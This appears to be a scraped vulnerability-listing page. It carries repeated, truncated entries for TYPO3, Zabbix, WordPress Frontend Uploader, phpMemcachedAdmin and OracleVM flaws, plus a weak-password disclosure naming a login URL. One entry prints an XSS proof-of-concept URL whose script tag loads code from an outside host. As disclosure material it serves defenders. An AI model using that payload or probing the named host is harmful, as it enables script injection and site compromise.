CVE-2014-9508

TYPO3 Open Redirect/Link Spoofing vulnerability CVE-2014-9508 affects the frontend rendering component. Affected: TYPO3 4.5.x before 4.5.39, 4.6.x–6.2.x before 6.2.9, and 7.x before 7.0.2. Condition: config.prefixLocalAnchors enabled with an anchor-only homepage; attacker can modify anchor-only l...

CVE-2014-9509: Improper Input Validation

The frontend rendering component in TYPO3 4.5.x before 4.5.39, 4.6.x through 6.2.x before 6.2.9, and 7.x before 7.0.2, when config.prefixLocalAnchors is set to all or cached, allows remote attackers to have an unspecified impact possibly resource consumption via a "Cache Poisoning" attack using a...

CVE-2014-9508: Improper Link Resolution Before File Access

The frontend rendering component in TYPO3 4.5.x before 4.5.39, 4.6.x through 6.2.x before 6.2.9, and 7.x before 7.0.2, when config.prefixLocalAnchors is set and using a homepage with links that only contain anchors, allows remote attackers to change URLs to arbitrary domains for those links via...

DEBIAN-CVE-2014-9450

Multiple SQL injection vulnerabilities in chartbar.php in the frontend in Zabbix before 1.8.22, 2.0.x before 2.0.14, and 2.2.x before 2.2.8 allow remote attackers to execute arbitrary SQL commands via the 1 itemid or 2 periods parameter...

CVE-2014-9450

Multiple SQL injection vulnerabilities in chartbar.php in the frontend in Zabbix before 1.8.22, 2.0.x before 2.0.14, and 2.2.x before 2.2.8 allow remote attackers to execute arbitrary SQL commands via the 1 itemid or 2 periods parameter...

CVE-2014-9444

Cross-site scripting XSS vulnerability in the Frontend Uploader plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the errorsfu-disallowed-mime-type0name parameter to the default URI...

Sql injection

Multiple SQL injection vulnerabilities in chartbar.php in the frontend in Zabbix before 1.8.22, 2.0.x before 2.0.14, and 2.2.x before 2.2.8 allow remote attackers to execute arbitrary SQL commands via the 1 itemid or 2 periods parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in the Frontend Uploader plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the errorsfu-disallowed-mime-type0name parameter to the default URI...

CVE-2014-9444

Cross-site scripting XSS vulnerability in the Frontend Uploader plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the errorsfu-disallowed-mime-type0name parameter to the default URI...

CVE-2014-9444

The CVE-2014-9444 entry concerns the WordPress plugin Frontend Uploader (affected version: before 0.9.2). Affected component: errors parameter handling in the default URI, enabling unauthenticated XSS by injecting arbitrary script/HTML. Exploitation details from connected sources indicate an unau...

CVE-2014-9444: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the Frontend Uploader plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the errorsfu-disallowed-mime-type0name parameter to the default URI...

WordPress Frontend Uploader Plugin <= 0.9.2 - XSS

This vulnerability allows the attackers to inject arbitrary web script or HTML. Solution Update the plugin...

WordPress plugin Frontend Uploader 'errors' parameter cross-site scripting vulnerability

WordPress is a set of WordPress Software Foundation's blogging platform developed using the PHP language, which supports personal blog sites on servers with PHP and MySQL. A cross-site scripting vulnerability exists in the Frontend Uploader 'errors' parameter of the WordPress plugin because it...

WordPress Frontend Uploader 0.9.2 Cross Site Scripting

Exploit Title: Wordpress Frontend Uploader Cross Site ScriptingXSS Software Link: https://wordpress.org/plugins/frontend-uploader/ Author: SECUPENT Website:www.secupent.com Email: researchatsecupentdotcom Date: 27-12-2014 Version: 0.9.2 Exploit :...

Frontend Uploader <= 0.9.2 - Unauthenticated Cross-Site Scripting (XSS)

The Frontend Uploader WordPress plugin was affected by an Unauthenticated Cross-Site Scripting XSS security vulnerability. http://localhost:8080/?pageid=0&&errorsfu-disallowed-mime-type0name=%3CSCRIPT%20SRC=http://ha.ckers.org/xss.js?%3C%20B%20%3E...

Mozilla Defense Platform: MozDef

Mozilla Defense Platform The inspiration for MozDef comes from the large arsenal of tools available to attackers. Suites like metasploit, armitage, lair, dradis and others are readily available to help attackers coordinate, share intelligence and finely tune their attacks in real time. Defenders...

CVE-2014-8731 - RCE in phpMemcachedAdmin &lt;=1.2.2

CVE-2014-8731 CVSSv2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:C CVSSv2 Base Score=10.0 CVSSv2 Temp Score=9.5 OWASP Top 10 classification: A1 - Injection PHPMemcachedAdmin is a web-based frontend for Linux's memcached Daemon. Project Homepage: https://code.google.com/p/phpmemcacheadmin/...

信游科技管理后台弱口令导致敏感信息泄漏

简要描述： 信游科技管理后台弱口令导致敏感信息泄漏 详细说明： test.52xinyou.cn/xykj/login.aspx 应该是测试系统 看下服务邮箱账号泄露 登陆 漏洞证明： 并且可以管理前台页面...

OracleVM 3.1 : xen (OVMSA-2013-0057)

The remote OracleVM system is missing necessary patches to address critical security updates : - x86: fix page refcount handling in page table pin error path In the original patch 7 of the series addressing XSA-45 I mistakenly took the addition of the call to getpagelight in allocpagetype to cove...

PHPMemcachedAdmin 1.2.2 Remote Code Execution Vulnerability

PHPMemcachedAdmin versions 1.2.2 and below suffer from a remote code execution vulnerability. CVE-2014-8731 CVSSv2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:C CVSSv2 Base Score=10.0 CVSSv2 Temp Score=9.5 OWASP Top 10 classification: A1 - Injection PHPMemcachedAdmin is a web-based frontend fo...